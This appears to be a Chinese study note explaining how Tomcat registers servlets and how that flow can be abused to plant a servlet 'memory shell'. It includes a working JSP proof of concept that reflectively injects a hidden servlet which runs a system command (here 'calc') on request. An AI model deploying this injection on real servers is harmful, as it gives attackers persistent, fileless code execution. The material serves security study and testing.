文章笔记来源:
白日梦组长b站视频https://www.bilibili.com/video/BV1E84y1w77R/?spm\_id\_from=333.337.search-card.all.click&vd\_source=5eaab636aff585a40f16448f4cb3b0f1
流程分析:

之前在分析listener内存马的时候,就在contextconfig里面有一个对传入的xml文件进行操作的函数configureContext,然后我们看下面发现其不仅对listener进行了操作,也对servlet进行了循环调用

然后发现就是创建一个wrapper,把context放到wrapper里面
预加载,正常servlet是在访问的时候才会被创建,预加载可以在访问之前被创建出来

然后给wrapper设立一个名字

然后set了一个类名(这里就可以相当于是set我们的恶意servlet)

相当于web.xml里面的

最后就是把wrapper再放回到context里面

最后还差一步就是加载web.xml里面的内容

对应的代码:

一个pattern和一个name,刚好对应

然后加载的流程大致就是
1.configureContext加载web.xml
2.然后将servlets保存到StandardWrapper
3.对处理完之后wrapper再放到Context
tips:
“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”
在这个过程中的最后一步则是加载servlet也就是实例化servlet,在上述分析的过程中并没有这一操作
最后是使用的wrapper的一个setServlet方法来实例化代码
最后的exp(servlet.jsp)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.IOException" %><%-- Created by IntelliJ IDEA. User: Le'novo Date: 2025/2/24 Time: 20:41 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class ServletShell extends HttpServlet{ private String message; public void init(){ message="hello servlet内存马"; } public void doGet(HttpServletRequest request,HttpServletResponse response)throws IOException{ Runtime.getRuntime().exec("calc");
} public void destroy(){
} } %>
<%//动态注册servlet //获取standardcontext ServletContext servletContext=request.getServletContext(); Field applicationcontextField = servletContext.getClass().getDeclaredField("context"); applicationcontextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationcontextField.get(servletContext);
Field StandardContextField = applicationContext.getClass().getDeclaredField("context"); StandardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) StandardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("ServletShell"); wrapper.setServletClass(ServletShell.class.getName()); wrapper.setServlet(new ServletShell());//实例化servlet这个类
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletShell2","ServletShell");
%> </body> </html>
|
测试流程:
1.访问这个jsp文件(将恶意servlet注册进去)
2.然后访问自定义的路由,就可以成功弹出计算器(执行恶意servlet)
